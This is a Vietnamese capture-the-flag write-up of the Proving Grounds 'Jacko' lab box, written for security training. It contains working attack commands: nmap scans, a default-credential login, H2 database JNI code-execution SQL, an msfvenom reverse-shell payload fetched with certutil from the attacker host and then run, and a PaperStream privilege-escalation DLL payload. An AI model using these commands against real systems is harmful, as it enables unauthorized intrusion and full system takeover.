[Proving Grounds] Jacko

Overview

Difficulty: Offsec để Intermediate, còn Community rate HARD :v

IP Victim: 192.168.163.66
IP Attacker: 192.168.49.55

Information Gathering

Oài, xem là máy mục tiêu đang có những port nào mở và dịch vụ chạy đằng sau nó, bla bla…

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
$ nmap -p- --open --min-rate 3000 192.168.163.66
Starting Nmap 7.91 ( https://nmap.org ) at 2021-06-13 15:54 +07
Nmap scan report for 192.168.206.66
Host is up (0.27s latency).
Not shown: 65529 filtered ports
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT STATE SERVICE
80/tcp open http
135/tcp open msrpc
139/tcp open netbios-ssn
445/tcp open microsoft-ds
7680/tcp open pando-pub
8082/tcp open blackice-alerts

Nmap done: 1 IP address (1 host up) scanned in 44.31 seconds

$ nmap -sC -sV -p 80,135,139,445,7680,8082 192.168.163.66
Starting Nmap 7.91 ( https://nmap.org ) at 2021-06-13 15:55 +07
Nmap scan report for 192.168.206.66
Host is up (0.28s latency).

PORT STATE SERVICE VERSION
80/tcp open http Microsoft IIS httpd 10.0
|_http-server-header: Microsoft-IIS/10.0
|_http-title: H2 Database Engine (redirect)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
445/tcp open microsoft-ds?
7680/tcp open pando-pub?
8082/tcp open http H2 database http console
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-security-mode:
| 2.02:
|_ Message signing enabled but not required
| smb2-time:
| date: 2021-06-13T08:56:17
|_ start_date: N/A

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 80.22 seconds

Phân tích một chút, có thể đoán đoán máy mục tiêu đang sử dụng hệ điều hành Windows, mà thực ra tôi biết thừa nó chạy Windows rồi, đề bài để cái logo Windows mà :v
Hoặc để ý vào port 80 và nhận thấy phần version có tên “Microsoft IIS httpd 10.0”, uy tín luôn.
Sơ qua thì:

  • HTTP server trên 2 port 80 và 8082
  • SMB trên 2 port 139 và 445
  • RPC trên port 135
  • ??? trên port 7680 :))) tạm thời chịu

Giao diện khi truy cập vào port 80 và 8082 thì như này đây:

Và…

Tin tôi đi, tôi đéo biết nó là mẹ gì đâu, có thể là một giao diện quản lý Database nào đó na ná như cái PhpMyAdmin mà tôi đã từng gặp. Với ô username đang có giá trị mặc định hiển thị là sa, tôi đoán DBMS đang sử dụng là MSSQL. Kệ mẹ nó, cứ nhấn Login xem sao :)) Bùm!

Login thành công với thông tin đăng nhập mặc định, my god!
Giờ thì thử tìm kiếm exploit về thằng H2 console này xem có khai thác RCE được không.

Nhận thấy có 3 exploit cho phép RCE, với phiên bản 1.4.196 và 1.4.199, đối chiếu với phiên bản H2 Database đang sử dụng trên máy mục tiêu là 1.4.199, khớp ngon lành, khai thác thôi!

Exploitation

H2 Database 1.4.199 - JNI Code Execution (https://www.exploit-db.com/exploits/49384)
Bám theo các bước trong PoC, đầu tiên là ghi một file thư viện .DLL vào trong thư mục có quyền ghi (C:\Windows\Temp\):

1
2
3
SELECT CSVWRITE('C:\Windows\Temp\JNIScriptEngine.dll', CONCAT('SELECT NULL "', 
CHAR(0x4d),CHAR(0x5a),CHAR(0x90),CHAR(0x00),CHAR(0x03),CHAR(0x00),CHAR(0x00),CHAR(0x00)...
'ISO-8859-1', '', '', '', '', '');

Sau đó thực hiện load file thư viện này và đặt tên (alias) thành “JNIScriptEngine_eval”.

1
2
3
CREATE ALIAS IF NOT EXISTS System_load FOR "java.lang.System.load";
CALL System_load('C:\Windows\Temp\JNIScriptEngine.dll');
CREATE ALIAS IF NOT EXISTS JNIScriptEngine_eval FOR "JNIScriptEngine.eval";

All done! Thực thi lệnh whoami.

1
CALL JNIScriptEngine_eval('new java.util.Scanner(java.lang.Runtime.getRuntime().exec("whoami").getInputStream()).useDelimiter("\\Z").next()');

Kết quả trả về là jacko\tony, đã vl!

Ok, tiếp theo lấy reverse shell.

Get shell

Tạo một payload với MSFvenom:

1
2
3
4
5
6
7
$ msfvenom -p windows/shell_reverse_tcp LHOST=192.168.49.55 LPORT=445 -f exe -o duma445.exe
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x86 from the payload
No encoder specified, outputting raw payload
Payload size: 324 bytes
Final size of exe file: 73802 bytes
Saved as: duma445.exe

Khởi chạy HTTP server trên thư mục chứa payload vừa tạo để máy mục tiêu tải duma443.exe về.

1
CALL JNIScriptEngine_eval('new java.util.Scanner(java.lang.Runtime.getRuntime().exec("certutil -urlcache -f http://192.168.49.55/duma445.exe C:/Windows/Temp/duma445.exe").getInputStream()).useDelimiter("\\Z").next()');


Trên máy Kali của tôi lúc này sẽ xuất hiện request từ phía máy mục tiêu với mã response 200, xác nhận tải file payload thành công.

1
2
3
4
5
$ updog -p 80
[+] Serving /home/kali/Dropbox/Labs/PG/Machines/Jacko...
* Running on http://0.0.0.0:80/ (Press CTRL+C to quit)
192.168.55.66 - - [01/Jul/2021 01:23:58] "GET /duma445.exe HTTP/1.1" 200 -
192.168.55.66 - - [01/Jul/2021 01:23:59] "GET /duma445.exe HTTP/1.1" 200 -

Giờ thì chỉ cần bật lắng nghe trên cổng 445 và chạy payload.

1
CALL JNIScriptEngine_eval('new java.util.Scanner(java.lang.Runtime.getRuntime().exec("C:/Windows/Temp/duma445.exe").getInputStream()).useDelimiter("\\Z").next()');


Ok, lấy Flag đầu tiên nằm trong C:\Users\tony\Desktop\local.txt

local.txt: c64e9635a454835427a021f0ac96680b

Privileges Escalation

Sau một hồi tim kiếm các thể loại, tải Winpeas lên chạy các kiểu con đà điểu, không ăn thua lắm. Tôi quay về với cách try hard :/
Tìm kiếm xem máy này đã cài đặt các chương trình gì?

Hmm….

1
2
3
4
5
6
$ searchsploit PaperStream
---------------------------------------------------------------------- ---------------------------------
Exploit Title | Path
---------------------------------------------------------------------- ---------------------------------
PaperStream IP (TWAIN) 1.42.0.5685 - Local Privilege Escalation | windows/local/49382.ps1
---------------------------------------------------------------------- ---------------------------------

=)) Ok “Local Privilege Escalation”
Làm theo PoC, tạo một payload .DLL để lấy reverse shell:

1
msfvenom -p windows/shell_reverse_tcp -f dll -o duma8082.dll LHOST=192.168.49.55 LPORT=8082

Do tôi đang có quyền của user tony nên tôi hoàn toàn có thể thao tác trong thư mục C:/Users/tony, sửa đổi lại đường dẫn $PayloadFile trong script và tải 49382.ps1, duma8082.dll vào thư mục C:/Users/tony.
Một vấn đề nữa là powershell phải sử dụng đường dẫn tuyệt đối để truy cập, và phải Unrestricted ExecutionPolicy để có thể thực thi được script.
Như này:

Bật lắng nghe trên công 8082 và thực thi script 49382.ps1, lấy được shell system.

Done!